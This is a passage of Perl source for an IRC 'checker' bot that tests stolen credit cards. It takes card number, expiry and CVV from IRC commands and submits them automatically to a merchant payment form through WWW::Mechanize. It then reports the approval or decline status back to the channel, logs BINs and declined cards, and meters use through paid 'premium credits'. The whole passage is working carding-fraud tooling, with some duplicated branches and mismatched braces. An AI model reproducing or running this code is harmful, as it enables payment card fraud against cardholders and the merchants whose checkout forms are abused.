  707. ############################################################################################################
  708. }elsif ($allo =~/This transaction cannot be accepted at this time./){
  709. open FILE,"banklist.txt";
  710. my @results = <FILE>;
  711. close FILE;
  712. my $bank = 0;
  713. my $nuova = substr($card,0,6);
  714. foreach my $url (@results){
  715. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  716. $bank = 1;
  717. $irc_socket->write("PRIVMSG $master :SPAMMER => 4,1 BOS 8!4 MERCHANT DOWN 0-4 BOT OUT 8! ");
  718. $irc_socket->write("PART @generalchans\r\n");
  719. $irc_socket->write("quit\r\n");
  720. }
  721. }
  722. if($bank == 0){
  723. &respond_to_privmsg(\%msg,"");
  724. }
  725. ############################################################################################################
  726. }elsif ($allo =~/The merchant does not accept this type of credit card./){
  727. open FILE,"banklist.txt";
  728. my @results = <FILE>;
  729. close FILE;
  730. my $bank = 0;
  731. my $nuova = substr($card,0,6);
  732. foreach my $url (@results){
  733. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  734. $bank = 1;
  735. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 7THE MERCHANT DOES NOT ACCEPT THIS TYPE OF CREDIT CARD 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  736. }
  737. }
  738. if($bank == 0){
  739. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 7THE MERCHANT DOES NOT ACCEPT THIS TYPE OF CREDIT CARD 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:10 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  740. addlog("bankinfo.txt", "BIN : $nuova");
  741. }
  742. ############################################################################################################
  743. }elsif ($allo =~/CreditCardType/){
  744. open FILE,"banklist.txt";
  745. my @results = <FILE>;
  746. close FILE;
  747. my $bank = 0;
  748. my $nuova = substr($card,0,6);
  749. foreach my $url (@results){
  750. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  751. $bank = 1;
  752. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 The Merchant Does Not Accept This Type Of Credit Card 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  753. }
  754. }
  755. if($bank == 0){
  756. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 The Merchant Does Not Accept This Type Of Credit Card 0- 7BANK 0:10 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  757. addlog("bankinfo.txt", "BIN : $nuova");
  758. }
  759. ############################################################################################################
  760. }elsif ($allo =~/&L_SHORTMESSAGE0=Processor Decline&L_LONGMESSAGE0=This transaction cannot be processed%2e&L_SEVERITYCODE0=Error&L_ERRORPARAMID0=ProcessorResponse&L_ERRORPARAMVALUE0=(.*)&AMT=(.*)%2e00&CURRENCYCODE=(.*)&AVSCODE=(.*)&CVV2MATCH=(.*)<br \/><br \/>/){
  761. my ($amount,$current,$avs,$csc) = ($2,$3,$4,$5);
  762. open FILE,"banklist.txt";
  763. my @results = <FILE>;
  764. close FILE;
  765. my $bank = 0;
  766. my $nuova = substr($card,0,6);
  767. foreach my $url (@results){
  768. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  769. $bank = 1;
  770. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Decline 0- 7AVS 0:10 $avs 0- 7CVV2 0:10 $csc 0- 7,1BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  771. addlog("ResChecker.txt", "$card 4DECLINED");
  772. addlog("declined.txt", "$card 4DECLINED");
  773. }
  774. }
  775. if($bank == 0){
  776. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Decline 0- 7AVS 0:10 $avs 0- 7CVV2 0:10 $csc 0- 7,1BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  777. addlog("bankinfo.txt", "BIN : $nuova");
  778. addlog("declined.txt", "$card 4DECLINED");
  779. }
  780. ############################################################################################################
  781. }elsif ($allo =~/This transaction has been declined./){
  782. open FILE,"banklist.txt";
  783. my @results = <FILE>;
  784. close FILE;
  785. my $bank = 0;
  786. my $nuova = substr($card,0,6);
  787. foreach my $url (@results){
  788. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  789. $bank = 1;
  790. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Declined (2) 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  791. addlog("ResChecker.txt", "$card 4DECLINED");
  792. addlog("declined.txt", "$card 4DECLINED");
  793. }
  794. }
  795. if($bank == 0){
  796. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Decline (2) 0- 7,1BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  797. addlog("bankinfo.txt", "BIN : $nuova");
  798. addlog("declined.txt", "$card 4DECLINED");
  799. }
  800. ############################################################################################################
  801. }elsif ($allo =~/DECLINED/){
  802. open FILE,"banklist.txt";
  803. my @results = <FILE>;
  804. close FILE;
  805. my $bank = 0;
  806. my $nuova = substr($card,0,6);
  807. foreach my $url (@results){
  808. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  809. $bank = 1;
  810. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Declined (2) 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  811. addlog("ResChecker.txt", "$card 4DECLINED");
  812. addlog("declined.txt", "$card 4DECLINED");
  813. }
  814. }
  815. if($bank == 0){
  816. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Decline (2) 0- 7,1BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  817. addlog("bankinfo.txt", "BIN : $nuova");
  818. addlog("declined.txt", "$card 4DECLINED");
  819. }
  820. ############################################################################################################
  821. }elsif ($allo =~/There was a problem submitting the form/){
  822. open FILE,"banklist.txt";
  823. my @results = <FILE>;
  824. close FILE;
  825. my $bank = 0;
  826. my $nuova = substr($card,0,6);
  827. foreach my $url (@results){
  828. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  829. $bank = 1;
  830. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Problem submitting! 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  831. addlog("ResChecker.txt", "$card 4DECLINED");
  832. addlog("declined.txt", "$card 4DECLINED");
  833. }
  834. }
  835. if($bank == 0){
  836. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Problem submitting! 0- 7,1BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  837. addlog("bankinfo.txt", "BIN : $nuova");
  838. addlog("declined.txt", "$card 4DECLINED");
  839. }
  840. ############################################################################################################
  841. }elsif ($allo =~/Your order has been received. Thank you for your business!/){
  842. open FILE,"banklist.txt";
  843. my @results = <FILE>;
  844. close FILE;
  845. my $bank = 0;
  846. my $nuova = substr($card,0,6);
  847. foreach my $url (@results){
  848. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  849. $bank = 1;
  850. $irc_socket->write("PRIVMSG $master :SPAMMER => 4,1 BOS 8!4 MERCHANT DOWN 0-4 BOT OUT 8! ");
  851. $irc_socket->write("PART @generalchans\r\n");
  852. $irc_socket->write("quit\r\n");
  853. }
  854. }
  855. if($bank == 0){
  856. &respond_to_privmsg(\%msg,"");
  857. }
  858. ############################################################################################################
  859. }elsif ($allo =~/The credit card number is invalid./){
  860. open FILE,"banklist.txt";
  861. my @results = <FILE>;
  862. close FILE;
  863. my $bank = 0;
  864. my $nuova = substr($card,0,6);
  865. foreach my $url (@results){
  866. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  867. $bank = 1;
  868. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Invalid Card 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  869. }
  870. }
  871. if($bank == 0){
  872. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Invalid Card or Expired 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  873. addlog("bankinfo.txt", "BIN : $nuova");
  874. }
  875. ############################################################################################################
  876. }elsif ($allo =~/Please use a different payment card/){
  877. open FILE,"banklist.txt";
  878. my @results = <FILE>;
  879. close FILE;
  880. my $bank = 0;
  881. my $nuova = substr($card,0,6);
  882. foreach my $url (@results){
  883. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  884. $bank = 1;
  885. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Card Rejected 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  886. }
  887. }
  888. if($bank == 0){
  889. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Card Rejected 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  890. addlog("bankinfo.txt", "BIN : $nuova");
  891. }
  892. ############################################################################################################
  893. }elsif ($allo =~/Please enter a valid credit card expiration date./){
  894. open FILE,"banklist.txt";
  895. my @results = <FILE>;
  896. close FILE;
  897. my $bank = 0;
  898. my $nuova = substr($card,0,6);
  899. foreach my $url (@results){
  900. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  901. $bank = 1;
  902. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Card Expired 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  903. }
  904. }
  905. if($bank == 0){
  906. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Card Expired 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  907. addlog("bankinfo.txt", "BIN : $nuova");
  908. }
  909. ############################################################################################################
  910. }elsif ($allo =~/Please enter a valid credit card expiration year./){
  911. open FILE,"banklist.txt";
  912. my @results = <FILE>;
  913. close FILE;
  914. my $bank = 0;
  915. my $nuova = substr($card,0,6);
  916. foreach my $url (@results){
  917. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  918. $bank = 1;
  919. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Invalid Card 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  920. }
  921. }
  922. if($bank == 0){
  923. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Invalid Card 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  924. addlog("bankinfo.txt", "BIN : $nuova");
  925. }
  926. ############################################################################################################
  927. }elsif ($allo =~/The configuration with processor is invalid. Call Merchant Service Provider./){
  928. open FILE,"banklist.txt";
  929. my @results = <FILE>;
  930. close FILE;
  931. my $bank = 0;
  932. my $nuova = substr($card,0,6);
  933. foreach my $url (@results){
  934. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  935. $bank = 1;
  936. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Call Merchant Service Provider. 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  937. }
  938. }
  939. if($bank == 0){
  940. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 4DECLINED! 0-14 Call Merchant Service Provider. 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  941. addlog("bankinfo.txt", "BIN : $nuova");
  942. }
  943. ############################################################################################################
  944. print "card $variable!";
  945. }
  946. }
  947. }elsif ($allo =~/Please enter a valid credit card expiration year./){
  948. open FILE,"banklist.txt";
  949. my @results = <FILE>;
  950. close FILE;
  951. my $bank = 0;
  952. my $nuova = substr($card,0,6);
  953. foreach my $url (@results){
  954. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  955. $bank = 1;
  956. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 15CARD EXPIRED14,1 0- 7BANK 0:$num $17,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  957. }
  958. }
  959. if($bank == 0){
  960. &respond_to_privmsg(\%msg,"15,15 14,14 11,1 7,1$nick 15:3,1 $card $m$y $verifica 0-14 $curs$random_number.0$nomor_acak 0: 15CARD EXPIRED14,1 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0- 7,1Free Credit 0:10 $credits9,1 14,14 15,15 ");
  961. addlog("bankinfo.txt", "BIN : $nuova");
  962. }
  963. ############# FORMATING #############
  964. }elsif ($msg{'what'} =~ /\!chk/){
  965. if($auto == 1){
  966. &respond_to_privmsg(\%msg,"$nick 3Usage :7 !cc <ccnum> <mmyy> <cvv>");
  967. }
  968. }
  969. ############# NOTICE BOT OFF #############
  970. #}else{
  971. #&respond_to_privmsg(\%msg,"7,1 $nick 0:3 CHECKER 0: 4OFF ");
  972. #}
  973. #}
  974.  
  975. ################################################################################################################################################
  976. ################################################ ANOTHER TYPE CARD OR PREMIUM USER #############################################################
  977. ################################################################################################################################################
  978.  
  979. if($msg{'what'} =~ /\!cc\s+(\b[4536][0-9]{13,16}\b)\s+(\d{4})\s+(\b[0-9]{3,4}\b)\s+(\b[0-9]{1,4}\b)/){
  980. if($auto == 1){
  981. my ($card,$expmes,$verifica,$amount) = ($1,$2,$3,$4);
  982. my $m = substr($expmes,0,2);
  983. my $y = substr($expmes,2,4);
  984. if ($m == "01"){$m = "01";}
  985. if ($m == "02"){$m = "02";}
  986. if ($m == "03"){$m = "03";}
  987. if ($m == "04"){$m = "04";}
  988. if ($m == "05"){$m = "05";}
  989. if ($m == "06"){$m = "06";}
  990. if ($m == "07"){$m = "07";}
  991. if ($m == "08"){$m = "08";}
  992. if ($m == "09"){$m = "09";}
  993. my $range = 10;
  994. my $minimum = 1;
  995. my $curs = '$';
  996. my $random_number = 0;
  997. #my $random_number = int(rand($range)) + $minimum;
  998. my $urutan = 80;
  999. my $minimal = 1;
  1000. my $nomor_acak = 01;
  1001. #my $nomor_acak = int(rand($urutan)) + $minimal;
  1002. #my $creditmax = 180;
  1003. #my $creditmi = 1;
  1004. #my $credits = int(rand($creditmax)) + $creditmi;
  1005. my $tax = 5.00;
  1006. my $total = $amount+$tax;
  1007. my $cred = 190;
  1008. my $credi = 1;
  1009. my $credits = int(rand($cred)) - $credi;
  1010. my $varType = 0;
  1011. my $sleep = time()-20;
  1012. my $name = "submit";
  1013. my $value = "submit";
  1014. my $button = "btn-confirm";
  1015.  
  1016. ################## RANDOM IDENTITY ##################
  1017. ### PREMIUM ONLY - CONTACT MOSSAD
  1018.  
  1019.  
  1020. ############### DETECT NICK BY MOSSAD ###############
  1021. open FILE,"premium.txt";
  1022. my @results = <FILE>;
  1023. close FILE;
  1024. my $chknickVar = 0;
  1025. foreach my $url (@results){
  1026. if($url =~ m/$nick/ && $chknickVar == 0) {
  1027. $chknickVar = 1;
  1028. }
  1029. }
  1030. if($chknickVar == 0){
  1031. &respond_to_privmsg(\%msg,"7,1 $nick 0:14 Sorry, You're not Premium User! 0- 3Please Contact $master ", $nick );
  1032. goto Akhir;
  1033. }
  1034. ########## CHECKING PREMIUM CREDITS BY MOSSAD ##########
  1035. open(FILE, "+<premium.txt") or die "$! error";
  1036. my @results = <FILE>;
  1037. close FILE;
  1038. my $chkcreditVar = 0;
  1039. foreach my $url (@results){
  1040. if($url =~ m/$nick\|0/ && $chkcreditVar == 0) {
  1041. $chkcreditVar = 1;
  1042. &respond_to_privmsg(\%msg,"7,1 $nick 0:14 Access Denied! 0-8 Premium Credit 0:9 0 0- 3Please Top Up Your Balance! ", $nick );
  1043. goto Akhir;
  1044. }
  1045. }
  1046. ######### AUTO MANAGE PREMIUM CREDITS BY MOSSAD #########
  1047. my $fredatabase = "premium.txt";
  1048. open FILE,"$fredatabase";
  1049. my @results = <FILE>;
  1050. close FILE;
  1051. my $freinfo = $1;
  1052. my $frevar = 0;
  1053.  
  1054. foreach my $url(@results) {
  1055. if($url =~ m/$nick\|(.*)/ && $frevar == 0) {
  1056. $freevar = 1;
  1057. $frebalance = $1;
  1058. if($frebalance >= 1) {
  1059. $mychkvar = 1;
  1060. $balance = $frebalance - 1;
  1061.  
  1062. my $filename = 'premium.txt';
  1063. my $data = read_file($filename);
  1064. $data =~ s/$nick\|$frebalance/$nick\|$balance/g;
  1065. write_file($filename, $data);
  1066. }
  1067. }
  1068. }
  1069.  
  1070. ##################### TYPE CARD #####################
  1071. if (substr($card,0,1)==4) {
  1072. $cctype = "Visa";
  1073. }
  1074. if (substr($card,0,1)==5) {
  1075. $cctype = "MasterCard";
  1076. }
  1077. if (substr($card,0,1)==6) {
  1078. $cctype = "Amex";
  1079. }
  1080. if (substr($card,0,1)==3) {
  1081. $cctype = "Discover";
  1082. }
  1083.  
  1084. ##################### MERCHANT BOT #####################
  1085. my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 1},);
  1086. my $formfiller = WWW::Mechanize::FormFiller->new();
  1087. $agent->env_proxy();
  1088. $agent->get('update your merchant here');
  1089. $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  1090. $agent->form_number(1);
  1091. { local $^W; $agent->current_form->value('nombre', ''.$card.''); };
  1092. { local $^W; $agent->current_form->value('exp_month', ''.$m.''); };
  1093. { local $^W; $agent->current_form->value('exp_year', '20'.$y.''); };
  1094. { local $^W; $agent->current_form->value('the_code', ''.$verifica.''); };
  1095. { local $^W; $agent->current_form->value('chrono_verification', '1234'); };
  1096. $agent->submit();
  1097. print $agent->content,"\n";
  1098. my $allo=$agent->content;
  1099.  
  1100. ############################################################################################################
  1101. if ($allo =~/The transaction has been declined because of an AVS mismatch./){
  1102. my ($avs,$transid,$test,$kok) = ($2,$3,$4,$5);
  1103. open FILE,"banklist.txt";
  1104. my @results = <FILE>;
  1105. close FILE;
  1106. my $bank = 0;
  1107. my $nuova = substr($card,0,6);
  1108. foreach my $url (@results){
  1109. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  1110. $bank = 1;
  1111. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 9APPROVED! 0-14 AVS Mismatch (27) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
  1112. }
  1113. }
  1114. if($bank == 0){
  1115. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 9APPROVED! 0-14 AVS Mismatch (27) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
  1116. addlog("bankinfo.txt", "BIN : $nuova");
  1117. }
  1118. ############################################################################################################
  1119. }elsif ($allo =~/Your donation was processed successfully./){
  1120. open FILE,"banklist.txt";
  1121. my @results = <FILE>;
  1122. close FILE;
  1123. my $bank = 0;
  1124. my $nuova = substr($card,0,6);
  1125. foreach my $url (@results){
  1126. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  1127. $bank = 1;
  1128. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 9APPROVED! 0-14 AVS Mismatch (27) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
  1129. }
  1130. }
  1131. if($bank == 0){
  1132. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 9APPROVED! 0-14 AVS Mismatch (27) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
  1133. addlog("bankinfo.txt", "BIN : $nuova");
  1134. }
  1135. ############################################################################################################
  1136. }elsif ($allo =~/An error occurred during processing./){
  1137. open FILE,"banklist.txt";
  1138. my @results = <FILE>;
  1139. close FILE;
  1140. my $bank = 0;
  1141. my $nuova = substr($card,0,6);
  1142. foreach my $url (@results){
  1143. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  1144. $bank = 1;
  1145. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: An error occurred during processing - 4[0,1MARKED LOST4] 7BANK 0:3 $17Premium Credit 0:9 $balance ");
  1146. }
  1147. }
  1148. if($bank == 0){
  1149. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: An error occurred during processing - 4[0,1MARKED LOST4] 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
  1150. addlog("bankinfo.txt", "BIN : $nuova");
  1151. }
  1152. ############################################################################################################
  1153. }elsif ($allo =~/A duplicate transaction has been submitted./){
  1154. open FILE,"banklist.txt";
  1155. my @results = <FILE>;
  1156. close FILE;
  1157. my $bank = 0;
  1158. my $nuova = substr($card,0,6);
  1159. foreach my $url (@results){
  1160. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  1161. $bank = 1;
  1162. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: Card Submitted - 4[0,1CARD REJECTED4] 7BANK 0:3 $17Premium Credit 0:9 $balance ");
  1163. }
  1164. }
  1165. if($bank == 0){
  1166. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: Card Submitted - 4[0,1CARD REJECTED4] 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
  1167. addlog("bankinfo.txt", "BIN : $nuova");
  1168. }
  1169. ############################################################################################################
  1170. }elsif ($allo =~/The credit card has expired./){
  1171. open FILE,"banklist.txt";
  1172. my @results = <FILE>;
  1173. close FILE;
  1174. my $bank = 0;
  1175. my $nuova = substr($card,0,6);
  1176. foreach my $url (@results){
  1177. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  1178. $bank = 1;
  1179. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 7CARD EXPIRED14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
  1180. }
  1181. }
  1182. if($bank == 0){
  1183. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 7CARD EXPIRED14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
  1184. addlog("bankinfo.txt", "BIN : $nuova");
  1185. }
  1186. ############################################################################################################
  1187. }elsif ($allo =~/This transaction cannot be accepted at this time./){
  1188. open FILE,"banklist.txt";
  1189. my @results = <FILE>;
  1190. close FILE;
  1191. my $bank = 0;
  1192. my $nuova = substr($card,0,6);
  1193. foreach my $url (@results){
  1194. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  1195. $bank = 1;
  1196. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-4 MERCHANT DOWN 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
  1197. }
  1198. }
  1199. if($bank == 0){
  1200. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-4 MERCHANT DOWN 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
  1201. addlog("bankinfo.txt", "BIN : $nuova");
  1202. }
  1203. ############################################################################################################
  1204. }elsif ($allo =~/The merchant does not accept this type of credit card./){
  1205. open FILE,"banklist.txt";
  1206. my @results = <FILE>;
  1207. close FILE;
  1208. my $bank = 0;
  1209. my $nuova = substr($card,0,6);
  1210. foreach my $url (@results){
  1211. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  1212. $bank = 1;
  1213. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 7CARD NUMBER INVALID14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
  1214. }
  1215. }
  1216. if($bank == 0){
  1217. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 7CARD NUMBER INVALID14,1 0- 4[0,1CARD REJECTED4] 0- 7BANK 0:10 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
  1218. addlog("bankinfo.txt", "BIN : $nuova");
  1219. }
  1220. ############################################################################################################
  1221. }elsif ($allo =~/This transaction has been declined./){
  1222. open FILE,"banklist.txt";
  1223. my @results = <FILE>;
  1224. close FILE;
  1225. my $bank = 0;
  1226. my $nuova = substr($card,0,6);
  1227. foreach my $url (@results){
  1228. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  1229. $bank = 1;
  1230. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 4DECLINED! 0-14 Declined (2) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
  1231. }
  1232. }
  1233. if($bank == 0){
  1234. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 4DECLINED! 0-14 Declined (2) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
  1235. addlog("bankinfo.txt", "BIN : $nuova");
  1236. }
  1237. ############################################################################################################
  1238. }elsif ($allo =~/This transaction has been declined./){
  1239. open FILE,"banklist.txt";
  1240. my @results = <FILE>;
  1241. close FILE;
  1242. my $bank = 0;
  1243. my $nuova = substr($card,0,6);
  1244. foreach my $url (@results){
  1245. if($url =~m/$nuova\|(.*)/&& $bank == 0) {
  1246. $bank = 1;
  1247. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 4DECLINED! 0-14 Declined (2) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:3 $17Premium Credit 0:9 $balance ");
  1248. }
  1249. }
  1250. if($bank == 0){
  1251. &respond_to_privmsg(\%msg,"7,1 $nick 15:3,1 $card $m$y $verifica 0-14 $curs$amount 0: 4DECLINED! 0-14 Declined (2) 0- 7AVS 0:10 ? 0- 7CVV2 0:10 ? 0- 7BANK 0:14 IMMEDIATELY UPDATED! 0-7 Premium Credit 0:9 $balance ");
  1252. addlog("bankinfo.txt", "BIN : $nuova");
  1253. }
  1254. ############################################################################################################
  1255. }elsif ($allo =~/Your order has been received. Thank you for your business!/){
  1256. open FILE,"banklist.txt";
  1257. my @results = <FILE>;
  1258. close FILE;
